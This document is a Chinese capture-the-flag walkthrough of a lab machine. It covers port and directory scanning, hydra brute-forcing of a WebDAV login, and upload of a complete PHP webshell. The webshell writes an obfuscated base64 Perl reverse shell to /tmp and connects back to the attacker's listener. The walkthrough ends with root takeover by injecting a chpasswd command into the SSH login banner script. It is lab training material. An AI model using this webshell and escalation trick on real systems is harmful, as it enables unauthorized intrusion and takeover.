声明
好好学习,天天向上
搭建
用vmware打开,都调成NAT或者都调成桥接
渗透
存活扫描,发现目标
arp-scan -l
端口扫描
nmap -T4 -A 192.168.31.52 -p 1-65535 -oN nmap.A
开启端口
发现开启80,22
访问80
http://192.168.31.52
看了首页,看见了地狱一样,不禁让我想起了最近的电视剧《风声》里面的地狱变
扫目录吧
python3 dirsearch.py -u 192.168.31.52
开的目录不是很多
使用cewl收集社工字典,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典
cewl 192.168.31.52/ -w pass.dic
访问webdav,需要密码
http://192.168.31.52/webdav/
hydra爆破一下
hydra -L pass.dic -P pass.dic 192.168.31.52 http-get /webdav
爆破出
yamdoot
Swarg
登录,还是webdav
webdav是个啥?
WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
使用cadaver对webdav进行读写,既然是读写那就和上传下载的webshell扯到一起了,思路如下:
1.kali监听6666端口
2.使用cadaver连接到webdav库
3.写好php反连脚本并上传
4.访问php
1.kali监听6666端口
nc -lvvp 6666
2.使用cadaver连接到webdav库
cadaver http://192.168.31.52/webdav
yamdoot
Swarg
3.写好php反连脚本并上传
shell.php,内容如下,自行修改反弹到kali的IP和端口
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.31.64";
$yourport = '6666';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
准备好php后,webdav命令行执行
put shell.php
4.访问php
可以看到kali已经反弹shell,执行下面的命令进入python交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
进入home目录翻一翻,拿到user.txt,接下来需要拿root.txt了
在根目录的mnt下发现可疑脚本
接下来需要解密(brainfuck 解码)
https://www.splitbrain.org/services/ook
输入
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
拿到解密后的明文
chitragupt
得到用户
inferno/chitragupt
ssh登录
ssh inferno@192.168.31.52
现在我们要通过修改ssh登陆时的欢迎信息对root密码进行修改,修改的文件是00-header文件在/etc/update-motd.d目录下,执行
echo “echo ‘root:admin’ | sudo chpasswd” >> /etc/update-motd.d/00-header
显示没有权限,我就直接vi
vi /etc/update-motd.d/00-header
加入,可以保存
echo ‘root:admin’ | sudo chpasswd
重新登录inferno用户,su root刚刚更改的密码:
总结
1.信息收集
端口发现80和22
通过80,发现有webdav,使用cewl扫描页面生成社工字典
2.web权限
使用hydra对webdav进行爆破,拿到webdav的web权限
3.shell权限
拿到webdav的用户名和密码后,使用cadaver登录webdav的数据库,上传一个反弹shell脚本,web访问该脚本后,拿到shell权限
4.权限维持
拿到shell后,查阅文件,发现另一个账户的密码,使用ssh进行连接登录,拿到flag
5.提权
修改ssh的欢迎文件,加入修改root密码的脚本,再次使用ssh连接,就修改了root的密码,su到root,拿到flag